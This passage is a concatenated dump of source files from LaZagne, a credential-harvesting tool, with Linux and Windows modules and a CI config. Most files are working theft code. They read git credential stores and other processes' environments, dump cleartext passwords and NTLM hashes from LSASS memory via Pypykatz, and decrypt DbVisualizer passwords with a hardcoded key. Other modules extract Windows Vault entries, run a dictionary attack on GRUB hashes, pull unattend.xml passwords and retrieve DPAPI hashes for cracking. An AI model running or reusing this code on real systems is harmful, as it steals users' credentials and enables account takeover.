60 | 'Count': [0x0, ['unsigned long']], 61 | 'List': [0x4, ['unsigned long']], 62 | }], 63 | } 64 | -------------------------------------------------------------------------------- /Tools/Linux/lazagne/softwares/git/gitforlinux.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | import os 3 | import psutil 4 | 5 | try: 6 | from urlparse import urlparse, unquote 7 | except ImportError: 8 | from urllib.parse import urlparse, unquote 9 | 10 | from lazagne.config.module_info import ModuleInfo 11 | from lazagne.config import homes 12 | 13 | 14 | class GitForLinux(ModuleInfo): 15 | def __init__(self): 16 | ModuleInfo.__init__(self, 'gitforlinux', 'git') 17 | 18 | def extract_credentials(self, location): 19 | """ 20 | Extract the credentials from a Git store file. 21 | See "https://git-scm.com/docs/git-credential-store" for file format. 22 | 23 | :param location: Full path to the Git store file 24 | :return: List of credentials founds 25 | """ 26 | pwd_found = [] 27 | if os.path.isfile(location): 28 | with open(location) as f: 29 | # One line have the following format: https://user:pass@example.com 30 | for cred in f: 31 | if len(cred) > 0: 32 | parts = urlparse(cred) 33 | pwd_found.append(( 34 | unquote(parts.geturl().replace(parts.username + ":" + parts.password + "@", "").strip()), 35 | unquote(parts.username), 36 | unquote(parts.password) 37 | )) 38 | 39 | return pwd_found 40 | 41 | def run(self): 42 | """ 43 | Main function 44 | """ 45 | known_locations = set() 46 | 47 | # According to the "git-credential-store" documentation: 48 | # Build a list of locations in which git credentials can be stored 49 | 50 | # Apply the password extraction on the defined locations 51 | pwd_found = [] 52 | for location in homes.get(file=[u'.git-credentials', u'.config/git/credentials']): 53 | pwd_found += self.extract_credentials(location) 54 | known_locations.add(location) 55 | 56 | # Read Env variable from another user 57 | for process in psutil.process_iter(): 58 | try: 59 | environ = process.environ() 60 | except Exception: 61 | continue 62 | 63 | for var in ('XDG_CONFIG_HOME', ): 64 | if var not in environ or environ[var] in known_locations: 65 | continue 66 | 67 | # Env variable found 68 | location = environ[var] 69 | known_locations.add(location) 70 | pwd_found += self.extract_credentials(os.path.join(location, 'git/credentials')) 71 | 72 | # Filter duplicates 73 | return [{'URL': url, 'Login': login, 'Password': password} for url, login, password in set(pwd_found)] 74 | -------------------------------------------------------------------------------- /Tools/.travis.yml: -------------------------------------------------------------------------------- 1 | os: linux 2 | language: python 3 | 4 | lint_steps: &lint_steps 5 | before_install: 6 | - pip install --upgrade pip 7 | - pip install flake8 8 | script: flake8 . --count --select=E9,F63,F72,F82 --show-source --statistics 9 | 10 | matrix: 11 | include: 12 | - name: "Test and deploy on Python 2.7" 13 | python: '2.7' 14 | - name: "Build on Python 2.7 on macOS" 15 | os: osx 16 | language: shell # 'language: python' is not yet supported on Travis CI macOS 17 | before_install: 18 | - python -m pip install --upgrade pip 19 | - pip install pyinstaller -r requirements.txt 20 | script: 21 | - pyinstaller --onefile Mac/laZagne.py 22 | - ls -l dist # See file size (4.8 mb), etc. 23 | - dist/laZagne all 24 | - name: "Lint on Python 2.7" 25 | python: '2.7' 26 | <<: *lint_steps 27 | - name: "Lint on Python 3.7" 28 | python: '3.7' 29 | dist: xenial # required for Python >= 3.7 30 | <<: *lint_steps 31 | 32 | before_install: 33 | - sudo add-apt-repository ppa:ubuntu-wine/ppa -y 34 | - sudo apt-get update -qq 35 | - sudo apt-get install -qq wine 36 | - wget https://www.python.org/ftp/python/2.7.16/python-2.7.16.amd64.msi --output-document=python.msi 37 | - wine msiexec /i python.msi /qn 38 | - wget https://files.pythonhosted.org/packages/83/cc/2e39fa39b804f7b6e768a37657d75eb14cd917d1f43f376dad9f7c366ccf/pywin32-224-cp27-cp27m-win_amd64.whl --output-document=pywin32-224-cp27-none-win_amd64.whl 39 | - wine c:\\Python27\\python.exe -m pip install pywin32-224-cp27-none-win_amd64.whl 40 | - wine c:\\Python27\\python.exe -m pip install pyinstaller -r requirements.txt 41 | - wine c:\\Python27\\Scripts\\pyinstaller --noconsole --onefile Windows/lazagne.spec 42 | - ls -l dist # See file size (4.8 mb), etc. 43 | install: true # do not repeat `pip install -r requirements.txt` 44 | script: 45 | - wine Z:\\home\\travis\\build\\AlessandroZ\\LaZagne\\dist\\laZagne.exe all 46 | before_deploy: 47 | - tar -zcvf lazagne.tar.gz dist/lazagne.exe 48 | deploy: 49 | provider: releases 50 | skip_cleanup: true 51 | overwrite: true 52 | api_key: 53 | secure: TDw9TTOMSJ+zMOVVrEcCCKG+6eDzrfOPz3dUN6EM0QgDZ0gstsf3T24JIV0wsZQYwY5ceYBlZu33/6Rb62b8U/tOaZXYSy9LWmFzqSRH15RvLBBA+2PtbojYNZw1YymGSiG2GBuNHu0VlkDvR/ogTvJ8lY731MPdxUdXibJMfsBVcoKped0ss+cXsKZV0C8FYz3RU6EJsx0oDLHJmLn30Lji1DA7nTO/SJ5AX6ZD7Qp34/YlwkWdih/x0v8uYUfqsiuqNhmfVcheJua7JaFlfwuJj1IDT0UDVaFQn+xkxkK+Bn+h7qjOUOKYzUEfxh78Q6iDd1YtCETR0NPTlNeDDv6LfJoP9gsE68WWBAFhijnRvF084yN1ciQ1Ch+hITANgpcF2cmMg8Tu+YLeYDWfLi8/G7u4TYAQ7Pmvce6PweP9sQ6WGvsC2H+6xNEAjMCdMoCldPfaDdGprIGtx3DD8NyqyVL6S31HkJ5gcPUcarqjGvUVWETkVUVuAQp9pgdYyx52SHifB0tbvie9NkjVdRjBCy3Oxp5bZvdzj19bAEGWu6QFwZibAtHXDq6IdsmKefktrUQd5QUbx0/Y0gpnMuD5ghSoUVdxA9FY8CyD853R13nMLJN5LedV6TFjx/8DgHRIATBSoiLi8L6/fdZAG0yeH/lBcqbLfTM6tLS5HBo= 54 | file: 55 | - dist/lazagne.exe 56 | - lazagne.tar.gz 57 | on: 58 | tags: true 59 | all_branches: true 60 | repo: AlessandroZ/LaZagne 61 | -------------------------------------------------------------------------------- /Tools/Windows/lazagne/softwares/windows/ppypykatz.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # Thanks to @skelsec for his awesome tool Pypykatz 4 | # Checks his project here: https://github.com/skelsec/pypykatz 5 | 6 | import codecs 7 | import traceback 8 | 9 | from lazagne.config.module_info import ModuleInfo 10 | from lazagne.config.constant import constant 11 | from pypykatz.pypykatz import pypykatz 12 | 13 | 14 | class Pypykatz(ModuleInfo): 15 | """ 16 | Pypykatz dumps all secrets from the lsass.exe memory 17 | It does not work if: 18 | - LSASS is running as a protected process 19 | - A security product blocks this access 20 | """ 21 | 22 | def __init__(self): 23 | ModuleInfo.__init__(self, 'pypykatz', 'windows', system_module=True) 24 | 25 | def run(self): 26 | mimi = None 27 | try: 28 | mimi = pypykatz.go_live() 29 | except Exception: 30 | self.debug(traceback.format_exc()) 31 | 32 | if mimi: 33 | results = {} 34 | logon_sessions = mimi.to_dict().get('logon_sessions', []) 35 | for logon_session in logon_sessions: 36 | 37 | # Right now kerberos_creds, dpapi_creds results are not used 38 | user = logon_sessions[logon_session] 39 | 40 | # Get cleartext password 41 | for i in ['credman_creds', 'ssp_creds', 'livessp_creds', 'tspkg_creds', 'wdigest_creds']: 42 | for data in user.get(i, []): 43 | if all((data['username'], data['password'])): 44 | login = data['username'] 45 | if login not in results: 46 | results[login] = {} 47 | 48 | results[login]['Type'] = i 49 | results[login]['Domain'] = data.get('domainname', 'N/A') 50 | results[login]['Password'] = data['password'] 51 | 52 | # msv_creds to get sha1 user hash 53 | for data in user.get('msv_creds', []): 54 | if data['username']: 55 | login = data['username'] 56 | else: 57 | login = user['username'] 58 | 59 | if login not in results: 60 | results[login] = {} 61 | 62 | if data['SHAHash']: 63 | results[login]['Shahash'] = codecs.encode(data['SHAHash'], 'hex') 64 | if data['LMHash']: 65 | results[login]['Lmhash'] = codecs.encode(data['LMHash'], 'hex') 66 | if data['NThash']: 67 | results[login]['Nthash'] = codecs.encode(data['NThash'], 'hex') 68 | 69 | constant.pypykatz_result = results 70 | pwd_found = [] 71 | for user in results: 72 | results[user]['Login'] = user 73 | pwd_found.append(results[user]) 74 | 75 | return pwd_found 76 | -------------------------------------------------------------------------------- /Tools/Windows/lazagne/softwares/databases/dbvis.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | import array 3 | import base64 4 | import binascii 5 | import hashlib 6 | import os 7 | import re 8 | from xml.etree.cElementTree import ElementTree 9 | 10 | from lazagne.config.constant import constant 11 | from lazagne.config.crypto.pyDes import des, CBC 12 | from lazagne.config.module_info import ModuleInfo 13 | 14 | 15 | class Dbvisualizer(ModuleInfo): 16 | def __init__(self): 17 | ModuleInfo.__init__(self, name='dbvis', category='databases') 18 | 19 | self._salt = self.get_salt() 20 | self._passphrase = 'qinda' 21 | self._iteration = 10 22 | 23 | def get_salt(self): 24 | salt_array = [-114, 18, 57, -100, 7, 114, 111, 90] 25 | salt = array.array('b', salt_array) 26 | hexsalt = binascii.hexlify(salt) 27 | return binascii.unhexlify(hexsalt) 28 | 29 | def get_derived_key(self, password, salt, count): 30 | key = bytearray(password) + salt 31 | 32 | for i in range(count): 33 | m = hashlib.md5(key) 34 | key = m.digest() 35 | return key[:8], key[8:] 36 | 37 | def decrypt(self, msg): 38 | enc_text = base64.b64decode(msg) 39 | (dk, iv) = self.get_derived_key(self._passphrase, self._salt, self._iteration) 40 | crypter = des(dk, CBC, iv) 41 | text = crypter.decrypt(enc_text) 42 | return re.sub(r'[\x01-\x08]', '', text) 43 | 44 | def run(self): 45 | path = os.path.join(constant.profile['HOMEPATH'], u'.dbvis', u'config70', u'dbvis.xml') 46 | if os.path.exists(path): 47 | tree = ElementTree(file=path) 48 | 49 | pwd_found = [] 50 | elements = {'Alias': 'Name', 'Userid': 'Login', 'Password': 'Password', 'UrlVariables//Driver': 'Driver'} 51 | 52 | for e in tree.findall('Databases/Database'): 53 | values = {} 54 | for elem in elements: 55 | try: 56 | if elem != "Password": 57 | values[elements[elem]] = e.find(elem).text 58 | else: 59 | values[elements[elem]] = self.decrypt(e.find(elem).text) 60 | except Exception: 61 | pass 62 | 63 | try: 64 | elem = e.find('UrlVariables') 65 | for ee in elem.getchildren(): 66 | for ele in ee.getchildren(): 67 | if 'Server' == ele.attrib['UrlVariableName']: 68 | values['Host'] = str(ele.text) 69 | if 'Port' == ele.attrib['UrlVariableName']: 70 | values['Port'] = str(ele.text) 71 | if 'SID' == ele.attrib['UrlVariableName']: 72 | values['SID'] = str(ele.text) 73 | except Exception: 74 | pass 75 | 76 | if values: 77 | pwd_found.append(values) 78 | 79 | return pwd_found 80 | -------------------------------------------------------------------------------- /Tools/Windows/lazagne/softwares/windows/vault.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | from lazagne.config.module_info import ModuleInfo 3 | from lazagne.config.winstructure import * 4 | from ctypes.wintypes import * 5 | 6 | 7 | class Vault(ModuleInfo): 8 | def __init__(self): 9 | ModuleInfo.__init__(self, 'vault', 'windows', only_from_current_user=True) 10 | 11 | def run(self): 12 | 13 | # retrieve passwords (IE, etc.) using the Windows Vault API 14 | if float(get_os_version()) < 6.1: 15 | self.info(u'Vault not supported for this OS') 16 | return 17 | 18 | cbVaults = DWORD() 19 | vaults = LPGUID() 20 | hVault = HANDLE(INVALID_HANDLE_VALUE) 21 | cbItems = DWORD() 22 | items_buf = c_char_p() 23 | pwd_found = [] 24 | 25 | if vaultEnumerateVaults(0, byref(cbVaults), byref(vaults)) == 0: 26 | if cbVaults.value == 0: 27 | self.debug(u'No Vaults found') 28 | return 29 | else: 30 | VAULT_ITEM_WIN, PVAULT_ITEM_WIN, VaultGetItemFunc = get_vault_objects_for_this_version_of_windows() 31 | for i in range(cbVaults.value): 32 | if vaultOpenVault(byref(vaults[i]), 0, byref(hVault)) == 0: 33 | if hVault: 34 | if vaultEnumerateItems(hVault, 0x200, byref(cbItems), byref(items_buf)) == 0: 35 | 36 | for j in range(cbItems.value): 37 | 38 | items = cast(items_buf, POINTER(VAULT_ITEM_WIN)) 39 | pPasswordVaultItem = PVAULT_ITEM_WIN() 40 | try: 41 | values = { 42 | 'URL': str(items[j].pResource.contents.data.string), 43 | 'Login': str(items[j].pUsername.contents.data.string) 44 | } 45 | if items[j].pName: 46 | values['Name'] = items[j].pName 47 | 48 | if VaultGetItemFunc(hVault, items[j], pPasswordVaultItem) == 0: 49 | 50 | password = pPasswordVaultItem.contents.pPassword.contents.data.string 51 | # Remove password too long 52 | if password and len(password) < 100: 53 | values['Password'] = password 54 | 55 | pwd_found.append(values) 56 | 57 | except Exception as e: 58 | self.debug(e) 59 | 60 | if pPasswordVaultItem: 61 | vaultFree(pPasswordVaultItem) 62 | 63 | if items_buf: 64 | vaultFree(items_buf) 65 | 66 | vaultCloseVault(byref(hVault)) 67 | 68 | vaultFree(vaults) 69 | 70 | return pwd_found 71 | -------------------------------------------------------------------------------- /Tools/Windows/lazagne/config/users.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # !/usr/bin/python 3 | import os 4 | import ctypes 5 | import sys 6 | 7 | from lazagne.config.winstructure import get_os_version 8 | from lazagne.config.constant import constant 9 | 10 | 11 | def get_user_list_on_filesystem(impersonated_user=[]): 12 | """ 13 | Get user list to retrieve their passwords 14 | """ 15 | # Check users existing on the system (get only directories) 16 | user_path = u'{drive}:\\Users'.format(drive=constant.drive) 17 | if float(get_os_version()) < 6: 18 | user_path = u'{drive}:\\Documents and Settings'.format(drive=constant.drive) 19 | 20 | all_users = [] 21 | if os.path.exists(user_path): 22 | all_users = [filename for filename in os.listdir(user_path) if os.path.isdir(os.path.join(user_path, filename))] 23 | 24 | # Remove default users 25 | for user in ['All Users', 'Default User', 'Default', 'Public', 'desktop.ini']: 26 | if user in all_users: 27 | all_users.remove(user) 28 | 29 | # Removing user that have already been impersonated 30 | for imper_user in impersonated_user: 31 | if imper_user in all_users: 32 | all_users.remove(imper_user) 33 | 34 | return all_users 35 | 36 | 37 | def set_env_variables(user, to_impersonate=False): 38 | # Restore template path 39 | template_path = { 40 | 'APPDATA': u'{drive}:\\Users\\{user}\\AppData\\Roaming\\', 41 | 'USERPROFILE': u'{drive}:\\Users\\{user}\\', 42 | 'HOMEDRIVE': u'{drive}:', 43 | 'HOMEPATH': u'{drive}:\\Users\\{user}', 44 | 'ALLUSERSPROFILE': u'{drive}:\\ProgramData', 45 | 'COMPOSER_HOME': u'{drive}:\\Users\\{user}\\AppData\\Roaming\\Composer\\', 46 | 'LOCALAPPDATA': u'{drive}:\\Users\\{user}\\AppData\\Local', 47 | } 48 | 49 | constant.profile = template_path 50 | if not to_impersonate: 51 | # Get value from environment variables 52 | for env in constant.profile: 53 | if os.environ.get(env): 54 | try: 55 | constant.profile[env] = os.environ.get(env).decode(sys.getfilesystemencoding()) 56 | except Exception: 57 | constant.profile[env] = os.environ.get(env) 58 | 59 | # Replace "drive" and "user" with the correct values 60 | for env in constant.profile: 61 | constant.profile[env] = constant.profile[env].format(drive=constant.drive, user=user) 62 | 63 | 64 | def get_username_winapi(): 65 | GetUserNameW = ctypes.windll.advapi32.GetUserNameW 66 | GetUserNameW.argtypes = [ctypes.c_wchar_p, ctypes.POINTER(ctypes.c_uint)] 67 | GetUserNameW.restype = ctypes.c_uint 68 | 69 | _buffer = ctypes.create_unicode_buffer(1) 70 | size = ctypes.c_uint(len(_buffer)) 71 | while not GetUserNameW(_buffer, ctypes.byref(size)): 72 | # WinError.h 73 | # define ERROR_INSUFFICIENT_BUFFER 122L // dderror 74 | if ctypes.GetLastError() == 122: 75 | _buffer = ctypes.create_unicode_buffer(len(_buffer)*2) 76 | size.value = len(_buffer) 77 | 78 | else: 79 | return os.getenv('username') # Unusual error 80 | 81 | return _buffer.value 82 | -------------------------------------------------------------------------------- /Tools/Linux/lazagne/softwares/databases/dbvis.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | import binascii 5 | import hashlib 6 | import base64 7 | import array 8 | import re 9 | import os 10 | 11 | from xml.etree.cElementTree import ElementTree 12 | 13 | from lazagne.config.module_info import ModuleInfo 14 | from lazagne.config.crypto.pyDes import des, CBC 15 | from lazagne.config import homes 16 | 17 | 18 | class DbVisualizer(ModuleInfo): 19 | def __init__(self): 20 | ModuleInfo.__init__(self, 'dbvis', 'databases') 21 | self._salt = self.get_salt() 22 | self._passphrase = 'qinda' 23 | self._iteration = 10 24 | 25 | def get_salt(self): 26 | salt_array = [-114, 18, 57, -100, 7, 114, 111, 90] 27 | salt = array.array('b', salt_array) 28 | hexsalt = binascii.hexlify(salt) 29 | return binascii.unhexlify(hexsalt) 30 | 31 | def get_derived_key(self, password, salt, count): 32 | key = bytearray(password) + salt 33 | 34 | for i in range(count): 35 | m = hashlib.md5(key) 36 | key = m.digest() 37 | return (key[:8], key[8:]) 38 | 39 | def decrypt(self, msg): 40 | enc_text = base64.b64decode(msg) 41 | (dk, iv) = self.get_derived_key(self._passphrase, self._salt, self._iteration) 42 | crypter = des(dk, CBC, iv) 43 | text = crypter.decrypt(enc_text) 44 | return re.sub(r'[\x01-\x08]', '', text) 45 | 46 | def run(self): 47 | 48 | pwd_found = [] 49 | 50 | for home in homes.get(directory=u'.dbvis'): 51 | path = os.path.join(home, u'config70', u'dbvis.xml') 52 | 53 | if os.path.exists(path): 54 | tree = ElementTree(file=path) 55 | 56 | elements = {'Alias': 'Name', 'Userid': 'Login', 'Password': 'Password', 57 | 'UrlVariables//Driver': 'Driver'} 58 | 59 | for e in tree.findall('Databases/Database'): 60 | values = {} 61 | for elem in elements: 62 | try: 63 | if elem != "Password": 64 | values[elements[elem]] = e.find(elem).text 65 | else: 66 | values[elements[elem]] = self.decrypt(e.find(elem).text) 67 | except Exception: 68 | pass 69 | 70 | try: 71 | elem = e.find('UrlVariables') 72 | for ee in elem.getchildren(): 73 | for ele in ee.getchildren(): 74 | if 'Server' == ele.attrib['UrlVariableName']: 75 | values['Host'] = str(ele.text) 76 | if 'Port' == ele.attrib['UrlVariableName']: 77 | values['Port'] = str(ele.text) 78 | if 'SID' == ele.attrib['UrlVariableName']: 79 | values['SID'] = str(ele.text) 80 | except Exception: 81 | pass 82 | 83 | if values: 84 | pwd_found.append(values) 85 | 86 | return pwd_found 87 | -------------------------------------------------------------------------------- /Tools/Linux/lazagne/softwares/sysadmin/grub.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | import crypt 4 | import os 5 | 6 | from lazagne.config.module_info import ModuleInfo 7 | from lazagne.config.dico import get_dic 8 | 9 | 10 | class Grub(ModuleInfo): 11 | 12 | def __init__(self): 13 | ModuleInfo.__init__(self, 'grub', 'sysadmin') 14 | 15 | def dictionary_attack(self, crypt_pwd): 16 | dic = get_dic() # By default 500 most famous passwords are used for the dictionary attack 17 | 18 | if '$' not in crypt_pwd: 19 | # Either malformed or old bcrypt password 20 | return False 21 | 22 | hash_type = crypt_pwd.split("$")[1] 23 | hash_algo = { 24 | '1': 'MD5', 25 | } 26 | 27 | # For Debug information 28 | for h_type in hash_algo: 29 | if h_type == hash_type: 30 | self.debug('[+] Hash type {algo} detected ...'.format(algo=hash_algo[h_type])) 31 | 32 | real_salt = '${hash_type}${salt}$'.format(hash_type=hash_type, salt=crypt_pwd.split("$")[2]) 33 | 34 | # -------------------------- Dictionary attack -------------------------- 35 | self.info('Dictionary Attack on the hash !!! ') 36 | try: 37 | for word in dic: 38 | try: 39 | crypt_word = crypt.crypt(word, real_salt) 40 | if crypt_word == crypt_pwd: 41 | return word 42 | except Exception as e: 43 | pass 44 | 45 | except (KeyboardInterrupt, SystemExit): 46 | self.debug(u'Dictionary attack interrupted') 47 | 48 | return False 49 | 50 | def run(self): 51 | pwd_found = [] 52 | grub_conf_files = [u'/boot/grub/menu.lst', u'/boot/grub/grub.conf', u'/boot/grub/grub.cfg'] 53 | for grub_file in grub_conf_files: 54 | if os.path.exists(grub_file): 55 | conf = open(grub_file).read() 56 | user, password = '', '' 57 | if conf.partition('password --md5 ')[1] == 'password --md5 ': 58 | hash = conf.partition('password --md5 ')[2].partition('\n')[0] 59 | result = self.dictionary_attack(hash) 60 | if result: 61 | pwd_found.append({ 62 | 'Password': result 63 | }) 64 | else: 65 | # No clear text password found - save hash 66 | pwd_found.append({ 67 | 'Hash': hash 68 | }) 69 | elif conf.partition('password ')[1] == 'password ': 70 | password = conf.partition('password ')[2].partition(' ')[2].partition('\n')[0] 71 | pwd_found.append({ 72 | 'Login': user, 73 | 'Password': password 74 | }) 75 | elif conf.partition('password_pbkdf2 ')[1] == 'password_pbkdf2 ': 76 | user = conf.partition('password_pbkdf2 ')[2].partition(' ')[0] 77 | hash = conf.partition('password_pbkdf2 ')[2].partition(' ')[2].partition('\n')[0] 78 | pwd_found.append({ 79 | 'Login': user, 80 | 'Hash': hash 81 | }) 82 | 83 | return pwd_found -------------------------------------------------------------------------------- /Tools/Windows/lazagne/softwares/sysadmin/unattended.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | import base64 4 | 5 | from xml.etree.cElementTree import ElementTree 6 | 7 | from lazagne.config.module_info import ModuleInfo 8 | from lazagne.config.constant import constant 9 | from lazagne.config.winstructure import string_to_unicode 10 | 11 | import os 12 | 13 | 14 | class Unattended(ModuleInfo): 15 | def __init__(self): 16 | ModuleInfo.__init__(self, 'unattended', 'sysadmin', system_module=True) 17 | 18 | # Password should be encoded in b64 19 | def try_b64_decode(self, message): 20 | try: 21 | return base64.b64decode(message) 22 | except Exception: 23 | return message 24 | 25 | def run(self): 26 | 27 | windir = os.path.join(constant.profile['HOMEDRIVE'], string_to_unicode(os.sep), u'Windows') 28 | files = [ 29 | 'Panther\\Unattend.xml', 30 | 'Panther\\Unattended.xml', 31 | 'Panther\\Unattend\\Unattended.xml', 32 | 'Panther\\Unattend\\Unattend.xml', 33 | 'System32\\Sysprep\\unattend.xml', 34 | 'System32\\Sysprep\\Panther\\unattend.xml' 35 | ] 36 | 37 | pwd_found = [] 38 | xmlns = '{urn:schemas-microsoft-com:unattend}' 39 | for file in files: 40 | path = os.path.join(windir, string_to_unicode(file)) 41 | if os.path.exists(path): 42 | self.debug(u'Unattended file found: %s' % path) 43 | tree = ElementTree(file=path) 44 | root = tree.getroot() 45 | 46 | for setting in root.findall('%ssettings' % xmlns): 47 | component = setting.find('%scomponent' % xmlns) 48 | 49 | auto_logon = component.find('%sauto_logon' % xmlns) 50 | if auto_logon: 51 | username = auto_logon.find('%sUsername' % xmlns) 52 | password = auto_logon.find('%sPassword' % xmlns) 53 | if all((username, password)): 54 | # Remove false positive (with following message on password => *SENSITIVE*DATA*DELETED*) 55 | if 'deleted' not in password.text.lower(): 56 | pwd_found.append({ 57 | 'Login': username.text, 58 | 'Password': self.try_b64_decode(password.text) 59 | }) 60 | 61 | user_accounts = component.find('%suser_accounts' % xmlns) 62 | if user_accounts: 63 | local_accounts = user_accounts.find('%slocal_accounts' % xmlns) 64 | if local_accounts: 65 | for local_account in local_accounts.findall('%slocal_account' % xmlns): 66 | username = local_account.find('%sName' % xmlns) 67 | password = local_account.find('%sPassword' % xmlns) 68 | if all((username, password)): 69 | if 'deleted' not in password.text.lower(): 70 | pwd_found.append({ 71 | 'Login': username.text, 72 | 'Password': self.try_b64_decode(password.text) 73 | }) 74 | 75 | return pwd_found 76 | -------------------------------------------------------------------------------- /Tools/Windows/lazagne/softwares/windows/windows.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | try: 3 | import _winreg as winreg 4 | except ImportError: 5 | import winreg 6 | 7 | from lazagne.config.module_info import ModuleInfo 8 | from lazagne.config.winstructure import OpenKey, HKEY_LOCAL_MACHINE 9 | from lazagne.config.constant import constant 10 | from lazagne.config.users import get_username_winapi 11 | 12 | 13 | class WindowsPassword(ModuleInfo): 14 | def __init__(self): 15 | ModuleInfo.__init__(self, 'windows', 'windows') 16 | self.current_user = get_username_winapi() 17 | 18 | def is_in_domain(self): 19 | """ 20 | Return the context of the host 21 | If a domain controller is set we are in an active directory. 22 | """ 23 | try: 24 | key = OpenKey(HKEY_LOCAL_MACHINE, r'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Group Policy\\History\\') 25 | val, _ = winreg.QueryValueEx(key, 'DCName') 26 | winreg.CloseKey(key) 27 | return val 28 | except Exception: 29 | return False 30 | 31 | def run(self): 32 | """ 33 | - Check if the user password has already be found using Pypykatz 34 | - If not, check if a password stored in another application is also used as windows password 35 | - Windows password not found, return the DPAPI hash (not admin priv needed) to bruteforce using John or Hashcat 36 | """ 37 | # Check if password has already been found 38 | if constant.pypykatz_result.get(self.current_user, None): 39 | if 'Password' in constant.pypykatz_result[self.current_user]: 40 | # Password already printed on the Pypykatz module - do not print it again 41 | self.info('User has already be found: {password}'.format( 42 | password=constant.pypykatz_result[self.current_user]['Password']) 43 | ) 44 | return 45 | 46 | # Password not already found 47 | pwd_found = [] 48 | if constant.user_dpapi and constant.user_dpapi.unlocked: 49 | # Check if a password already found is a windows password 50 | password = constant.user_dpapi.get_cleartext_password() 51 | if password: 52 | pwd_found.append({ 53 | 'Login': constant.username, 54 | 'Password': password 55 | }) 56 | else: 57 | # Retrieve dpapi hash used to bruteforce (hash can be retrieved without needed admin privilege) 58 | # Method taken from Jean-Christophe Delaunay - @Fist0urs 59 | # https://www.synacktiv.com/ressources/univershell_2017_dpapi.pdf 60 | 61 | self.info( 62 | u'Windows passwords not found.\n' 63 | u'Try to bruteforce this hash (using john or hashcat)' 64 | ) 65 | if constant.user_dpapi: 66 | context = 'local' 67 | if self.is_in_domain(): 68 | context = 'domain' 69 | 70 | h = constant.user_dpapi.get_dpapi_hash(context=context) 71 | if h: 72 | pwd_found.append({ 73 | 'Dpapi_hash_{context}'.format(context=context): constant.user_dpapi.get_dpapi_hash( 74 | context=context) 75 | }) 76 | 77 | return pwd_found 78 | -------------------------------------------------------------------------------- /Tools/Linux/lazagne/config/lib/memorpy/Locator.py: -------------------------------------------------------------------------------- 1 | # Author: Nicolas VERDIER 2 | # This file is part of memorpy. 3 | # 4 | # memorpy is free software: you can redistribute it and/or modify 5 | # it under the terms of the GNU General Public License as published by 6 | # the Free Software Foundation, either version 3 of the License, or 7 | # (at your option) any later version. 8 | # 9 | # memorpy is distributed in the hope that it will be useful, 10 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | # GNU General Public License for more details. 13 | # 14 | # You should have received a copy of the GNU General Public License 15 | # along with memorpy. If not, see . 16 | 17 | import copy 18 | import time 19 | import struct 20 | 21 | from .Address import Address 22 | 23 | 24 | class Locator(object): 25 | """ 26 | take a memoryworker and a type to search 27 | then you can feed the locator with values and it will reduce the addresses possibilities 28 | """ 29 | 30 | def __init__(self, mw, type = 'unknown', start = None, end = None): 31 | self.mw = mw 32 | self.type = type 33 | self.last_iteration = {} 34 | self.last_value = None 35 | self.start = start 36 | self.end = end 37 | 38 | def find(self, value, erase_last = True): 39 | return self.feed(value, erase_last) 40 | 41 | def feed(self, value, erase_last = True): 42 | self.last_value = value 43 | new_iter = copy.copy(self.last_iteration) 44 | if self.type == 'unknown': 45 | all_types = ['uint', 46 | 'int', 47 | 'long', 48 | 'ulong', 49 | 'float', 50 | 'double', 51 | 'short', 52 | 'ushort'] 53 | else: 54 | all_types = [self.type] 55 | for type in all_types: 56 | if type not in new_iter: 57 | try: 58 | new_iter[type] = [ Address(x, self.mw.process, type) for x in self.mw.mem_search(value, type, start_offset=self.start, end_offset=self.end) ] 59 | except struct.error: 60 | new_iter[type] = [] 61 | else: 62 | l = [] 63 | for address in new_iter[type]: 64 | try: 65 | found = self.mw.process.read(address, type) 66 | if int(found) == int(value): 67 | l.append(Address(address, self.mw.process, type)) 68 | except Exception as e: 69 | pass 70 | 71 | new_iter[type] = l 72 | 73 | if erase_last: 74 | del self.last_iteration 75 | self.last_iteration = new_iter 76 | return new_iter 77 | 78 | def get_addresses(self): 79 | return self.last_iteration 80 | 81 | def diff(self, erase_last = False): 82 | return self.get_modified_addr(erase_last) 83 | 84 | def get_modified_addr(self, erase_last = False): 85 | last = self.last_iteration 86 | new = self.feed(self.last_value, erase_last=erase_last) 87 | ret = {} 88 | for type, l in last.iteritems(): 89 | typeset = set(new[type]) 90 | for addr in l: 91 | if addr not in typeset: 92 | if type not in ret: 93 | ret[type] = [] 94 | ret[type].append(addr) 95 | 96 | return ret 97 | -------------------------------------------------------------------------------- /Tools/Windows/lazagne/config/lib/memorpy/Locator.py: -------------------------------------------------------------------------------- 1 | # Author: Nicolas VERDIER 2 | # This file is part of memorpy. 3 | # 4 | # memorpy is free software: you can redistribute it and/or modify 5 | # it under the terms of the GNU General Public License as published by 6 | # the Free Software Foundation, either version 3 of the License, or 7 | # (at your option) any later version. 8 | # 9 | # memorpy is distributed in the hope that it will be useful, 10 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | # GNU General Public License for more details. 13 | # 14 | # You should have received a copy of the GNU General Public License 15 | # along with memorpy. If not, see . 16 | 17 | import copy 18 | import time 19 | import struct 20 | 21 | from .Address import Address 22 | 23 | 24 | class Locator(object): 25 | """ 26 | take a memoryworker and a type to search 27 | then you can feed the locator with values and it will reduce the addresses possibilities 28 | """ 29 | 30 | def __init__(self, mw, type = 'unknown', start = None, end = None): 31 | self.mw = mw 32 | self.type = type 33 | self.last_iteration = {} 34 | self.last_value = None 35 | self.start = start 36 | self.end = end 37 | 38 | def find(self, value, erase_last = True): 39 | return self.feed(value, erase_last) 40 | 41 | def feed(self, value, erase_last = True): 42 | self.last_value = value 43 | new_iter = copy.copy(self.last_iteration) 44 